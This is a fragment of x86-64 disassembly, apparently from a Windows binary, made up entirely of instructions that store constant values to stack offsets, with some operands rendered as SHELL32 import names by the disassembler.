mov eax, 0x995
mov word [rsp + 0x11ac], ax
mov byte [rsp + 0xc5], 0x4d
mov dword [rsp + 0x69f8], 0x2e06
mov byte [rsp + 0xc6], ILRemoveLastID
movabs rax, 0x7cbab88c942b0d
mov qword [rsp + 0xce70], rax
movabs rax, 0x73cf445b2922eb
mov qword [rsp + 0xce78], rax
movabs rax, 0x78e468bd78341a
mov qword [rsp + 0xce80], rax
mov dword [rsp + 0x69fc], 0x3e2f
mov eax, 0x825
mov word [rsp + 0x11b0], ax
mov byte [rsp + 0xc7], ILRemoveLastID
mov eax, 0xc7e
mov word [rsp + 0x11b4], ax
movabs rax, 0x7ed960d925eff6
mov qword [rsp + 0xce88], rax
mov byte [rsp + 0xc8], 0x3b
movabs rax, 0x797cf4ea8853af
mov qword [rsp + 0xce90], rax
mov dword [rsp + 0x6a00], 0xefce
mov dword [rsp + 0x6a04], 0x7c17
mov byte [rsp + 0xc9], 0x9c
mov eax, 0xa39
mov word [rsp + 0x11b8], ax
movabs rax, 0x76cae3d569324b
mov qword [rsp + 0xce98], rax
mov eax, 0x52f
mov word [rsp + 0x11bc], ax
mov eax, 0xb69
mov word [rsp + 0x11c0], ax
mov eax, 0xcbc
mov word [rsp + 0x11c4], ax
mov dword [rsp + 0x6a08], 0x9ed0
mov eax, 0x7a0
mov word [rsp + 0x11c8], ax
mov eax, 0x293
mov word [rsp + 0x11cc], ax
mov eax, 0x25a
mov word [rsp + 0x11d0], ax
movabs rax, 0x7c5cebfc3c4369
mov qword [rsp + 0xcea0], rax
mov eax, 0x494
mov word [rsp + 0x11d4], ax
mov dword [rsp + 0x6a0c], 0x3940
mov eax, 0x8ee
mov word [rsp + 0x11d8], ax
mov eax, 0x6c8
mov word [rsp + 0x11dc], ax
movabs rax, 0x7db4deee5d3692
mov qword [rsp + 0xcea8], rax
mov eax, 0xd38
mov word [rsp + 0x11e0], ax
movabs rax, 0x79cb5564605fc1
mov qword [rsp + 0xceb0], rax
mov dword [rsp + 0x6a10], 0xeefe
mov byte [rsp + 0xca], 0x38
movabs rax, 0x75357663f23e7a
mov qword [rsp + 0xceb8], rax
movabs rax, 0x7863721253c249
mov qword [rsp + 0xcec0], rax
mov eax, 0x7b4
mov word [rsp + 0x11e4], ax
mov eax, 0x96d
mov word [rsp + 0x11e8], ax
mov dword [rsp + 0x6a14], 0x62af
mov byte [rsp + 0xcb], 0xa
movabs rax, 0x756c30e4a7f85c
mov qword [rsp + 0xcec8], rax
mov dword [rsp + 0x6a18], 0x5b3b
mov eax, 0x347
mov word [rsp + 0x11ec], ax
movabs rax, 0x7c70f69cf338b5
mov qword [rsp + 0xced0], rax
mov eax, 0x2f1
mov word [rsp + 0x11f0], ax
mov dword [rsp + 0x6a1c], 0x4d4d
mov dword [rsp + 0x6a20], 0x38da
movabs rax, 0x75613bff362d8b
mov qword [rsp + 0xced8], rax
movabs rax, 0x7e13b436b242b4
mov qword [rsp + 0xcee0], rax
movabs rax, 0x72ca18d4f8c699
mov qword [rsp + 0xcee8], rax
mov eax, 0x60f
mov word [rsp + 0x11f4], ax
movabs rax, 0x7b91642a9735f6
mov qword [rsp + 0xcef0], rax
mov eax, 0xe37
mov word [rsp + 0x11f8], ax
mov eax, 0x907
mov word [rsp + 0x11fc], ax
movabs rax, 0x70d00e340e11f7
mov qword [rsp + 0xcef8], rax
mov eax, 0x5a6
mov word [rsp + 0x1200], ax
movabs rax, 0x7060a89e4c890b
mov qword [rsp + 0xcf00], rax
mov byte [rsp + 0xcc], 0x30
mov dword [rsp + 0x6a24], 0x6d95
mov byte [rsp + 0xcd], 0x8b
movabs rax, 0x79c3ba57e449e2
mov qword [rsp + 0xcf08], rax
mov byte [rsp + 0xce], 0x34
mov dword [rsp + 0x6a28], 0x5b12
movabs rax, 0x79d1241d38c007
mov qword [rsp + 0xcf10], rax
mov dword [rsp + 0x6a2c], 0xd599
mov eax, 0x605
mov word [rsp + 0x1204], ax
movabs rax, 0x7d2f07a801c83a
mov qword [rsp + 0xcf18], rax
mov byte [rsp + 0xcf], 0xdc
mov eax, 0x4e6
mov word [rsp + 0x1208], ax
mov eax, 0x3b1
mov word [rsp + 0x120c], ax
mov eax, 0x8ef
mov word [rsp + 0x1210], ax
mov eax, 0x19f
mov word [rsp + 0x1214], ax
mov eax, 0x836
mov word [rsp + 0x1218], ax
mov byte [rsp + 0xd0], 0xb6
mov eax, 0x9a7
mov word [rsp + 0x121c], ax
movabs rax, 0x79f7a0386ccf90
mov qword [rsp + 0xcf20], rax
mov byte [rsp + 0xd1], ILIsParent
movabs rax, 0x7af9811b06f62d
mov qword [rsp + 0xcf28], rax
mov dword [rsp + 0x6a30], 0x7c39
mov eax, 0x6b4
mov word [rsp + 0x1220], ax
mov dword [rsp + 0x6a34], 0x3a01
mov dword [rsp + 0x6a38], 0x6e1d
mov dword [rsp + 0x6a3c], 0x75a2
mov dword [rsp + 0x6a40], 0x6131
movabs rax, 0x71f39dda93ec97
mov qword [rsp + 0xcf30], rax
mov eax, 0x729
mov word [rsp + 0x1224], ax
movabs rax, 0x797ba4a68e6622
mov qword [rsp + 0xcf38], rax
mov eax, 0x619
mov word [rsp + 0x1228], ax
mov eax, 0xba0
mov word [rsp + 0x122c], ax
mov dword [rsp + 0x6a44], 0x306f
movabs rax, 0x791905e80e726d
mov qword [rsp + 0xcf40], rax
mov eax, 0xd2
mov word [rsp + 0x1230], ax
mov eax, 0x71f
mov word [rsp + 0x1234], ax
movabs rax, 0x768a479a65857d
mov qword [rsp + 0xcf48], rax
movabs rax, 0x78bb7c53b6081e
mov qword [rsp + 0xcf50], rax
movabs rax, 0x7c8ebeb3a99d94
mov qword [rsp + 0xcf58], rax
mov dword [rsp + 0x6a48], 0xe58
movabs rax, 0x700ca6bd71c17a
mov qword [rsp + 0xcf60], rax
movabs rax, 0x794b8b80722d6e
mov qword [rsp + 0xcf68], rax
mov dword [rsp + 0x6a4c], 0xfa5a
mov dword [rsp + 0x6a50], 0xedbb
movabs rax, 0x7058b83d3bec4a
mov qword [rsp + 0xcf70], rax
mov eax, 0x388
mov word [rsp + 0x1238], ax
movabs rax, 0x7d34e3cdec0a0e
mov qword [rsp + 0xcf78], rax
mov eax, 0x34a
mov word [rsp + 0x123c], ax
mov dword [rsp + 0x6a54], 0x4d19
mov eax, 0x51e
mov word [rsp + 0x1240], ax
mov eax, 0x394
mov word [rsp + 0x1244], ax
mov byte [rsp + 0xd2], 0xc5
mov eax, 0x5ee
mov word [rsp + 0x1248], ax
mov byte [rsp + 0xd3], ILIsParent
movabs rax, 0x734d6bfaea9b7a
mov qword [rsp + 0xcf80], rax
movabs rax, 0x7e4c1da620aa47
mov qword [rsp + 0xcf88], rax
movabs rax, 0x7834cddce80500
mov qword [rsp + 0xcf90], rax
mov byte [rsp + 0xd4], 0x39
movabs rax, 0x7a1ce5c0aa8b2b
mov qword [rsp + 0xcf98], rax
movabs rax, 0x74b03b1ca74a23
mov qword [rsp + 0xcfa0], rax
mov byte [rsp + 0xd5], 0x8c
movabs rax, 0x7311dcd9428ca5
mov qword [rsp + 0xcfa8], rax
movabs rax, 0x7eb9a1e6b02ce9
mov qword [rsp + 0xcfb0], rax
movabs rax, 0x7b1bf595662af2
mov qword [rsp + 0xcfb8], rax
mov eax, 0x464
mov word [rsp + 0x124c], ax
mov byte [rsp + 0xd6], 0xc5
mov dword [rsp + 0x6a58], 0x1b12
mov dword [rsp + 0x6a5c], 0x5323
mov dword [rsp + 0x6a60], 0xce30
mov dword [rsp + 0x6a64], 0x6aea
mov eax, 0x13b
mov word [rsp + 0x1250], ax
mov eax, 0x768
mov word [rsp + 0x1254], ax
mov dword [rsp + 0x6a68], 0xbbc8
mov byte [rsp + 0xd7], 0x6c
mov byte [rsp + 0xd8], 0x23
movabs rax, 0x77c75f6a5f0e88
mov qword [rsp + 0xcfc0], rax
movabs rax, 0x7078858db00515
mov qword [rsp + 0xcfc8], rax
mov eax, 0x660
mov word [rsp + 0x1258], ax
movabs rax, 0x7ed295abb5b1f3
mov qword [rsp + 0xcfd0], rax
mov eax, 0x51a
mov word [rsp + 0x125c], ax
mov dword [rsp + 0x6a6c], 0x5741
mov dword [rsp + 0x6a70], 0x5696
mov byte [rsp + 0xd9], 0x85
mov byte [rsp + 0xda], 0xbf
mov dword [rsp + 0x6a74], 0x1547
mov eax, 0xab6
mov word [rsp + 0x1260], ax
mov byte [rsp + 0xdb], 0x1a
mov eax, 0x4e9
mov word [rsp + 0x1264], ax
mov byte [rsp + 0xdc], 0x3d
mov byte [rsp + 0xdd], reloc.SHELL32.dll_SHSetInstanceExplorer
mov dword [rsp + 0x6a78], 0x3610
mov byte [rsp + 0xde], ILCreateFromPathW
mov dword [rsp + 0x6a7c], 0x6ce7
mov byte [rsp + 0xdf], 0x79
movabs rax, 0x75eb2cd3ec4cb1
mov qword [rsp + 0xcfd8], rax
mov eax, 0x33e
mov word [rsp + 0x1268], ax
mov byte [rsp + 0xe0], 0x35
movabs rax, 0x72c5f8044fec36
mov qword [rsp + 0xcfe0], rax
mov dword [rsp + 0x6a80], 0x1a69
mov dword [rsp + 0x6a84], 0x73e4
mov byte [rsp + 0xe1], 0xc4
mov dword [rsp + 0x6a88], 0xab26
movabs rax, 0x731ad07d54a8ea
mov qword [rsp + 0xcfe8], rax
movabs rax, 0x7aa1f65d60cf9c
mov qword [rsp + 0xcff0], rax
movabs rax, 0x7b63ed81b8da7d
mov qword [rsp + 0xcff8], rax
mov eax, 0x557
mov word [rsp + 0x126c], ax
mov byte [rsp + 0xe2], 0x81
mov dword [rsp + 0x6a8c], 0x4aa
mov eax, 0x45d
mov word [rsp + 0x1270], ax
movabs rax, 0x7c97b59b47b174
mov qword [rsp + 0xd000], rax
mov dword [rsp + 0x6a90], 0x8f1
mov byte [rsp + 0xe3], SHDoDragDrop
mov eax, 0x3e6
mov word [rsp + 0x1274], ax
mov eax, 0xbf9
mov word [rsp + 0x1278], ax
movabs rax, 0x72c5176a9d1427
mov qword [rsp + 0xd008], rax
mov byte [rsp + 0xe4], 0x40
mov byte [rsp + 0xe5], 0xe0
mov eax, 0x6c9
mov word [rsp + 0x127c], ax
mov byte [rsp + 0xe6], 0x37
mov dword [rsp + 0x6a94], 0x2498
mov byte [rsp + 0xe7], 0x1e
mov byte [rsp + 0xe8], 0x1c
mov byte [rsp + 0xe9], 2
mov byte [rsp + 0xea], 0xa
mov eax, 0x664
mov word [rsp + 0x1280], ax
mov eax, 0x595
mov word [rsp + 0x1284], ax
movabs rax, 0x7b967cbfff7e24
mov qword [rsp + 0xd010], rax
mov eax, 0xcda
mov word [rsp + 0x1288], ax
mov dword [rsp + 0x6a98], 0xd8e8
mov byte [rsp + 0xeb], reloc.SHELL32.dll_ILCloneFirst
movabs rax, 0x7089f6b905d573
mov qword [rsp + 0xd018], rax
mov dword [rsp + 0x6a9c], 0xd0df
movabs rax, 0x7801bab02f2b1f
mov qword [rsp + 0xd020], rax
mov byte [rsp + 0xec], 3
mov byte [rsp + 0xed], 0x64
mov byte [rsp + 0xee], 0x3d
movabs rax, 0x7da82f51a10149
mov qword [rsp + 0xd028], rax
movabs rax, 0x726b877279d20a
mov qword [rsp + 0xd030], rax
movabs rax, 0x7e1e056832ce80
mov qword [rsp + 0xd038], rax
movabs rax, 0x7dd9a88fb566fa
mov qword [rsp + 0xd040], rax
mov byte [rsp + 0xef], 0x67
mov dword [rsp + 0x6aa0], 0x1cb4
mov eax, 0x371
mov word [rsp + 0x128c], ax
mov eax, 0x327
mov word [rsp + 0x1290], ax
mov dword [rsp + 0x6aa4], 0x6528
mov dword [rsp + 0x6aa8], 0xfe7
mov eax, 0x5e0
mov word [rsp + 0x1294], ax
mov dword [rsp + 0x6aac], 0x798a
mov dword [rsp + 0x6ab0], 0x3df6
mov byte [rsp + 0xf0], 0x42
mov eax, 0x384
mov word [rsp + 0x1298], ax
mov eax, 0x65e
mov word [rsp + 0x129c], ax
mov byte [rsp + 0xf1], 0x43
mov dword [rsp + 0x6ab4], 0x29bb
mov byte [rsp + 0xf2], 0x31
mov byte [rsp + 0xf3], 0x62
mov byte [rsp + 0xf4], 0x21
movabs rax, 0x73060e90142be0
mov qword [rsp + 0xd048], rax
mov byte [rsp + 0xf5], 0x25
mov eax, 0x10f
mov word [rsp + 0x12a0], ax
mov dword [rsp + 0x6ab8], 0x5664
mov dword [rsp + 0x6abc], 0x434a
movabs rax, 0x7a39d9c6b60090
mov qword [rsp + 0xd050], rax
mov dword [rsp + 0x6ac0], 0x4ec1
movabs rax, 0x7ce475b18fb312
mov qword [rsp + 0xd058], rax
mov byte [rsp + 0xf6], 0x35
mov eax, 0x5f2
mov word [rsp + 0x12a4], ax
mov dword [rsp + 0x6ac4], 0xe45b
mov eax, 0x95b
mov word [rsp + 0x12a8], ax
mov byte [rsp + 0xf7], 8
mov byte [rsp + 0xf8], SHDoDragDrop
mov dword [rsp + 0x6ac8], 0x985d
mov byte [rsp + 0xf9], 0x27
mov dword [rsp + 0x6acc], 0x7abc
mov eax, 0x50b
mov word [rsp + 0x12ac], ax
mov dword [rsp + 0x6ad0], 0x7cae
mov dword [rsp + 0x6ad4], 0x43ee
mov eax, 0x4b7
mov word [rsp + 0x12b0], ax
movabs rax, 0x7e873fcdb99908
mov qword [rsp + 0xd060], rax
movabs rax, 0x73e87bf6a28580
mov qword [rsp + 0xd068], rax
mov eax, 0x3c2
mov word [rsp + 0x12b4], ax
movabs rax, 0x761d685ad9e902
mov qword [rsp + 0xd070], rax
mov eax, 0xb43
mov word [rsp + 0x12b8], ax
movabs rax, 0x73bc44c6a0ad3e
mov qword [rsp + 0xd078], rax
mov eax, 0x2a
mov word [rsp + 0x12bc], ax
mov dword [rsp + 0x6ad8], 0x68d5
mov byte [rsp + 0xfa], 0xa7
mov dword [rsp + 0x6adc], 0x504f
mov byte [rsp + 0xfb], ILRemoveLastID
mov eax, 0xeb9
mov word [rsp + 0x12c0], ax
movabs rax, 0x7900470d0dd7e8
mov qword [rsp + 0xd080], rax
mov dword [rsp + 0x6ae0], 0x15a
movabs rax, 0x73a411b180b688
mov qword [rsp + 0xd088], rax
mov dword [rsp + 0x6ae4], 0x223d
mov dword [rsp + 0x6ae8], 0xbeaf
movabs rax, 0x7a6b5e430268fd
mov qword [rsp + 0xd090], rax
mov byte [rsp + 0xfc], SHSetInstanceExplorer
mov eax, 0xfbf
mov word [rsp + 0x12c4], ax
mov byte [rsp + 0xfd], ILIsParent
mov dword [rsp + 0x6aec], 0x2f7
mov byte [rsp + 0xfe], SHDoDragDrop
mov dword [rsp + 0x6af0], 0xe25e
mov dword [rsp + 0x6af4], 0x392d
movabs rax, 0x711e18b75289ea
mov qword [rsp + 0xd098], rax
mov eax, 0x402
mov word [rsp + 0x12c8], ax
movabs rax, 0x741bf75e2f1169
mov qword [rsp + 0xd0a0], rax
mov eax, 0x2eb
mov word [rsp + 0x12cc], ax
movabs rax, 0x72df8d7f3f93a4
mov qword [rsp + 0xd0a8], rax
mov dword [rsp + 0x6af8], 0x895d
movabs rax, 0x7b8d8d0495d208
mov qword [rsp + 0xd0b0], rax
mov byte [rsp + 0xff], 0x31
movabs rax, 0x7b3d567288b847
mov qword [rsp + 0xd0b8], rax
mov byte [rsp + 0x100], 6
mov eax, 0x3d1
mov word [rsp + 0x12d0], ax
mov eax, 0x710
mov word [rsp + 0x12d4], ax
mov eax, 0xb73
mov word [rsp + 0x12d8], ax
mov eax, 0x244
mov word [rsp + 0x12dc], ax
mov byte [rsp + 0x101], 0x4c
movabs rax, 0x7991d91f33eab7
mov qword [rsp + 0xd0c0], rax
mov dword [rsp + 0x6afc], 0xea9
mov eax, 0x711
mov word [rsp + 0x12e0], ax
mov byte [rsp + 0x102], 0xb5
mov byte [rsp + 0x103], ILIsParent
mov eax, 0x4c9
mov word [rsp + 0x12e4], ax
mov eax, reloc.SHELL32.dll_ILIsParent
mov word [rsp + 0x12e8], ax
movabs rax, 0x7c160b7891d392
mov qword [rsp + 0xd0c8], rax
mov dword [rsp + 0x6b00], 0x6796
movabs rax, 0x77c0e4cf72f5bd
mov qword [rsp + 0xd0d0], rax
movabs rax, 0x70923c8fa0774b
mov qword [rsp + 0xd0d8], rax
mov dword [rsp + 0x6b04], 0x70ba
mov dword [rsp + 0x6b08], 0x3229
movabs rax, 0x708568b3d19e7b
mov qword [rsp + 0xd0e0], rax
mov dword [rsp + 0x6b0c], 0xcb01
mov dword [rsp + 0x6b10], 0x1bf4
movabs rax, 0x7b3d31bdd18487
mov qword [rsp + 0xd0e8], rax
mov dword [rsp + 0x6b14], 0xdd0c
mov byte [rsp + 0x104], 0x63
mov eax, 0xf04
mov word [rsp + 0x12ec], ax
mov byte [rsp + 0x105], 0x8e
mov dword [rsp + 0x6b18], 0x7ccc
mov byte [rsp + 0x106], reloc.SHELL32.dll_ILClone
movabs rax, 0x7533adb5efcf50
mov qword [rsp + 0xd0f0], rax
movabs rax, 0x7999bca6fb8f47
mov qword [rsp + 0xd0f8], rax
movabs rax, 0x732eef13342543
mov qword [rsp + 0xd100], rax
mov dword [rsp + 0x6b1c], 0xd1c9
mov byte [rsp + 0x107], 0x50
movabs rax, 0x799e2853a80263
mov qword [rsp + 0xd108], rax
mov dword [rsp + 0x6b20], 0x51ec
mov byte [rsp + 0x108], 0x4c
mov dword [rsp + 0x6b24], 0x69b
mov eax, 0x6a4
mov word [rsp + 0x12f0], ax
mov byte [rsp + 0x109], 0x43
mov byte [rsp + 0x10a], ILCreateFromPathW
mov dword [rsp + 0x6b28], 0x218f
mov eax, 0x74f
mov word [rsp + 0x12f4], ax
mov byte [rsp + 0x10b], SHSetInstanceExplorer
movabs rax, 0x77be85885c9270
mov qword [rsp + 0xd110], rax
mov dword [rsp + 0x6b2c], 0xf7d0
movabs rax, 0x74cc98daeb69a9
mov qword [rsp + 0xd118], rax
movabs rax, 0x7af642f6c37397
mov qword [rsp + 0xd120], rax
movabs rax, 0x7cdd486a42991f
mov qword [rsp + 0xd128], rax
mov eax, 0xfc7
mov word [rsp + 0x12f8], ax
mov dword [rsp + 0x6b30], 0x1a37
mov eax, 0x262
mov word [rsp + 0x12fc], ax
mov eax, 0x47c
mov word [rsp + 0x1300], ax
mov eax, 0x95f
mov word [rsp + 0x1304], ax
movabs rax, 0x704a5785f7fef6
mov qword [rsp + 0xd130], rax
movabs rax, 0x78c94f5ffc8d6a
mov qword [rsp + 0xd138], rax
mov eax, 0x591
mov word [rsp + 0x1308], ax
mov eax, 0x196
mov word [rsp + 0x130c], ax
movabs rax, 0x74f59d39273c2b
mov qword [rsp + 0xd140], rax
mov dword [rsp + 0x6b34], 0x6026
mov dword [rsp + 0x6b38], 0xeb09
mov eax, 0x57b
mov word [rsp + 0x1310], ax
mov eax, 0x9d3
mov word [rsp + 0x1314], ax
mov eax, 0x97d
mov word [rsp + 0x1318], ax
movabs rax, 0x7d1148915d6140
mov qword [rsp + 0xd148], rax
mov byte [rsp + 0x10c], 0x3f
movabs rax, 0x77c95a9494e6a5
mov qword [rsp + 0xd150], rax
mov byte [rsp + 0x10d], 0x8b
movabs rax, 0x7178e31df3a5b9
mov qword [rsp + 0xd158], rax
movabs rax, 0x72787458d8e0d8
mov qword [rsp + 0xd160], rax
mov byte [rsp + 0x10e], SHDoDragDrop
movabs rax, 0x72c0d156f6b389
mov qword [rsp + 0xd168], rax
mov eax, 0x974
mov word [rsp + 0x131c], ax
movabs rax, 0x7a8c3939ed1a8f
mov qword [rsp + 0xd170], rax
mov eax, 0xea8
mov word [rsp + 0x1320], ax
mov eax, 0xca
mov word [rsp + 0x1324], ax
mov eax, 0x3ea
mov word [rsp + 0x1328], ax
movabs rax, 0x701cf8b22437c6
mov qword [rsp + 0xd178], rax
mov eax, 0xb77
mov word [rsp + 0x132c], ax
movabs rax, 0x70223117c93ce3
mov qword [rsp + 0xd180], rax
mov byte [rsp + 0x10f], 0x33
mov byte [rsp + 0x110], 0x5d
movabs rax, 0x7ae35bd3ca2642
mov qword [rsp + 0xd188], rax
movabs rax, 0x7dfda337e519d3
mov qword [rsp + 0xd190], rax
mov eax, 0x52d
mov word [rsp + 0x1330], ax
mov dword [rsp + 0x6b3c], 0x3d8d
movabs rax, 0x77d45eaf8cec5a
mov qword [rsp + 0xd198], rax
mov dword [rsp + 0x6b40], 0x3cf1
mov byte [rsp + 0x111], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6b44], 0x5af7
mov dword [rsp + 0x6b48], 0x4cda
movabs rax, 0x78a4ac1b373bdb
mov qword [rsp + 0xd1a0], rax
mov byte [rsp + 0x112], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x113], 0xa7
movabs rax, 0x70d261d17ac012
mov qword [rsp + 0xd1a8], rax
mov byte [rsp + 0x114], reloc.SHELL32.dll_PathMakeUniqueName
mov dword [rsp + 0x6b4c], 0xda86
mov byte [rsp + 0x115], 0x1d
movabs rax, 0x7174b35ba04d6c
mov qword [rsp + 0xd1b0], rax
mov byte [rsp + 0x116], 0xa0
mov eax, 0x645
mov word [rsp + 0x1334], ax
movabs rax, 0x74cad5f41aef05
mov qword [rsp + 0xd1b8], rax
mov eax, 0x6a1
mov word [rsp + 0x1338], ax
movabs rax, 0x75c9006c85a4c0
mov qword [rsp + 0xd1c0], rax
movabs rax, 0x74f511e50e7b7d
mov qword [rsp + 0xd1c8], rax
mov dword [rsp + 0x6b50], 0x60b9
mov eax, 0x1cf
mov word [rsp + 0x133c], ax
mov dword [rsp + 0x6b54], 0x1d9c
mov eax, 0x66c
mov word [rsp + 0x1340], ax
mov eax, 0x60
mov word [rsp + 0x1344], ax
mov dword [rsp + 0x6b58], 0xefe6
mov dword [rsp + 0x6b5c], 0x3ec6
mov eax, 0x725
mov word [rsp + 0x1348], ax
mov eax, 0x613
mov word [rsp + 0x134c], ax
mov eax, 0x1b7
mov word [rsp + 0x1350], ax
movabs rax, 0x74c9acea8d8bc8
mov qword [rsp + 0xd1d0], rax
movabs rax, 0x72ab12a3216c25
mov qword [rsp + 0xd1d8], rax
movabs rax, 0x7c315f5f59f306
mov qword [rsp + 0xd1e0], rax
mov dword [rsp + 0x6b60], 0x6b9d
mov eax, 0x7c4
mov word [rsp + 0x1354], ax
mov eax, 0x900
mov word [rsp + 0x1358], ax
mov dword [rsp + 0x6b64], 0x486a
mov dword [rsp + 0x6b68], 0x1743
mov eax, 0x6f2
mov word [rsp + 0x135c], ax
movabs rax, 0x7d7f3d34bfa643
mov qword [rsp + 0xd1e8], rax
mov dword [rsp + 0x6b6c], 0x772a
mov byte [rsp + 0x117], 0x5f
movabs rax, 0x72325af8d29145
mov qword [rsp + 0xd1f0], rax
mov byte [rsp + 0x118], 0xfe
movabs rax, 0x7e939b44667baa
mov qword [rsp + 0xd1f8], rax
movabs rax, 0x75a07c037425af
mov qword [rsp + 0xd200], rax
movabs rax, 0x76bc5235a3bb5d
mov qword [rsp + 0xd208], rax
movabs rax, 0x793507b15da2ad
mov qword [rsp + 0xd210], rax
mov eax, 0xc7d
mov word [rsp + 0x1360], ax
mov eax, 0xb0a
mov word [rsp + 0x1364], ax
movabs rax, 0x79382dfd2eb41d
mov qword [rsp + 0xd218], rax
mov byte [rsp + 0x119], reloc.SHELL32.dll_SHGetNewLinkInfoW
mov eax, 0xcb6
mov word [rsp + 0x1368], ax
movabs rax, 0x7653a802b310c1
mov qword [rsp + 0xd220], rax
mov eax, 0xf43
mov word [rsp + 0x136c], ax
movabs rax, 0x70b197cafa5195
mov qword [rsp + 0xd228], rax
movabs rax, 0x79739d0667c796
mov qword [rsp + 0xd230], rax
mov byte [rsp + 0x11a], 0xd3
mov dword [rsp + 0x6b70], 0x1cc7
mov byte [rsp + 0x11b], PathMakeUniqueName
mov eax, 0xddf
mov word [rsp + 0x1370], ax
mov eax, 0xb59
mov word [rsp + 0x1374], ax
mov byte [rsp + 0x11c], 0x8d
mov dword [rsp + 0x6b74], 0x2846
mov dword [rsp + 0x6b78], 0xbfc6
mov dword [rsp + 0x6b7c], 0x7c40
mov eax, 0x5b0
mov word [rsp + 0x1378], ax
movabs rax, 0x7767eec057a8b6
mov qword [rsp + 0xd238], rax
mov eax, 0x1b0
mov word [rsp + 0x137c], ax
mov dword [rsp + 0x6b80], 0x673c
mov byte [rsp + 0x11d], 0x78
mov eax, 0x7cb
mov word [rsp + 0x1380], ax
mov dword [rsp + 0x6b84], 0x3618
mov byte [rsp + 0x11e], 0x1a
movabs rax, 0x787d95ab53808d
mov qword [rsp + 0xd240], rax
mov dword [rsp + 0x6b88], 0x29cc
mov byte [rsp + 0x11f], SHDoDragDrop
mov eax, 0x592
mov word [rsp + 0x1384], ax
mov dword [rsp + 0x6b8c], 0xce2a
mov dword [rsp + 0x6b90], 0x1ae2
mov dword [rsp + 0x6b94], 0x7ffb
mov byte [rsp + 0x120], 0x81
mov eax, 0x12a
mov word [rsp + 0x1388], ax
mov dword [rsp + 0x6b98], 0x6cc2
mov eax, 0x189
mov word [rsp + 0x138c], ax
mov dword [rsp + 0x6b9c], 0xcf68
mov eax, 0x2b6
mov word [rsp + 0x1390], ax
movabs rax, 0x7651af3aa23afd
mov qword [rsp + 0xd248], rax
mov dword [rsp + 0x6ba0], 0x1310
movabs rax, 0x760e0a2db2deec
mov qword [rsp + 0xd250], rax
mov byte [rsp + 0x121], 0x61
mov eax, 0xa8a
mov word [rsp + 0x1394], ax
mov byte [rsp + 0x122], 0x50
mov byte [rsp + 0x123], 0x68
movabs rax, 0x77023d6d6c766e
mov qword [rsp + 0xd258], rax
mov eax, 0x475
mov word [rsp + 0x1398], ax
mov eax, 0xc20
mov word [rsp + 0x139c], ax
mov byte [rsp + 0x124], ILCreateFromPathW
mov eax, 0x478
mov word [rsp + 0x13a0], ax
mov eax, 0x260
mov word [rsp + 0x13a4], ax
mov dword [rsp + 0x6ba4], 0x22e
mov dword [rsp + 0x6ba8], 0x939d
movabs rax, 0x78e9e71b243b7a
mov qword [rsp + 0xd260], rax
mov eax, 0xf1c
mov word [rsp + 0x13a8], ax
mov eax, 0x204
mov word [rsp + 0x13ac], ax
mov eax, 0x9d5
mov word [rsp + 0x13b0], ax
mov dword [rsp + 0x6bac], 0xf682
mov dword [rsp + 0x6bb0], 0x317b
mov eax, 0xf5
mov word [rsp + 0x13b4], ax
mov byte [rsp + 0x125], SHDoDragDrop
mov dword [rsp + 0x6bb4], 0x252a
movabs rax, 0x7e5b605241e203
mov qword [rsp + 0xd268], rax
mov byte [rsp + 0x126], 0x61
movabs rax, 0x7558afd86b63f8
mov qword [rsp + 0xd270], rax
mov dword [rsp + 0x6bb8], 0x7f35
mov eax, ILIsParent
mov word [rsp + 0x13b8], ax
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0x13bc], ax
movabs rax, 0x7ea8a49f27cb08
mov qword [rsp + 0xd278], rax
mov dword [rsp + 0x6bbc], 0x5f14
mov byte [rsp + 0x127], 0x8c
mov eax, 0x9f
mov word [rsp + 0x13c0], ax
mov dword [rsp + 0x6bc0], 0xe31c
mov eax, 0xbe5
mov word [rsp + 0x13c4], ax
mov byte [rsp + 0x128], 3
movabs rax, 0x7c5398ee4b65dc
mov qword [rsp + 0xd280], rax
mov eax, 0x2f7
mov word [rsp + 0x13c8], ax
mov eax, ILIsParent
mov word [rsp + 0x13cc], ax
mov byte [rsp + 0x129], 0x21
mov byte [rsp + 0x12a], 0x1a
mov eax, 0xbcf
mov word [rsp + 0x13d0], ax
movabs rax, 0x742ac1a1b6de7c
mov qword [rsp + 0xd288], rax
movabs rax, 0x7b797d908c51e3
mov qword [rsp + 0xd290], rax
movabs rax, 0x78734c6bda2211
mov qword [rsp + 0xd298], rax
mov eax, 0x2bd
mov word [rsp + 0x13d4], ax
movabs rax, 0x7ea0d48da4c9f5
mov qword [rsp + 0xd2a0], rax
mov byte [rsp + 0x12b], 0x75
movabs rax, 0x7114299677fd2d
mov qword [rsp + 0xd2a8], rax
movabs rax, 0x717a10b4a13fd0
mov qword [rsp + 0xd2b0], rax
movabs rax, 0x76b60ec68fe29e
mov qword [rsp + 0xd2b8], rax
movabs rax, 0x7ca8176d575566
mov qword [rsp + 0xd2c0], rax
mov byte [rsp + 0x12c], 0xb5
movabs rax, 0x7956ce841d7cd3
mov qword [rsp + 0xd2c8], rax
movabs rax, 0x79806d21ca9116
mov qword [rsp + 0xd2d0], rax
mov dword [rsp + 0x6bc4], 0x3240
mov eax, 0x3d1
mov word [rsp + 0x13d8], ax
movabs rax, 0x7307cae0648b5e
mov qword [rsp + 0xd2d8], rax
mov eax, 0x8df
mov word [rsp + 0x13dc], ax
mov dword [rsp + 0x6bc8], 0x3a8b
mov eax, 0x41d
mov word [rsp + 0x13e0], ax
movabs rax, 0x79c233162e8f58
mov qword [rsp + 0xd2e0], rax
movabs rax, 0x76adb407d316de
mov qword [rsp + 0xd2e8], rax
movabs rax, 0x74836ba0c0131a
mov qword [rsp + 0xd2f0], rax
movabs rax, 0x7bb89ae19e3b74
mov qword [rsp + 0xd2f8], rax
mov byte [rsp + 0x12d], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x7351629680c9d9
mov qword [rsp + 0xd300], rax
mov dword [rsp + 0x6bcc], 0x833a
mov byte [rsp + 0x12e], 0x26
mov eax, 0x288
mov word [rsp + 0x13e4], ax
mov eax, 0x699
mov word [rsp + 0x13e8], ax
mov eax, 0x12c
mov word [rsp + 0x13ec], ax
mov dword [rsp + 0x6bd0], 0x95b8
mov byte [rsp + 0x12f], 0x39
movabs rax, 0x7dc22343b17e67
mov qword [rsp + 0xd308], rax
mov eax, 0x663
mov word [rsp + 0x13f0], ax
movabs rax, 0x756ed6803b5fcb
mov qword [rsp + 0xd310], rax
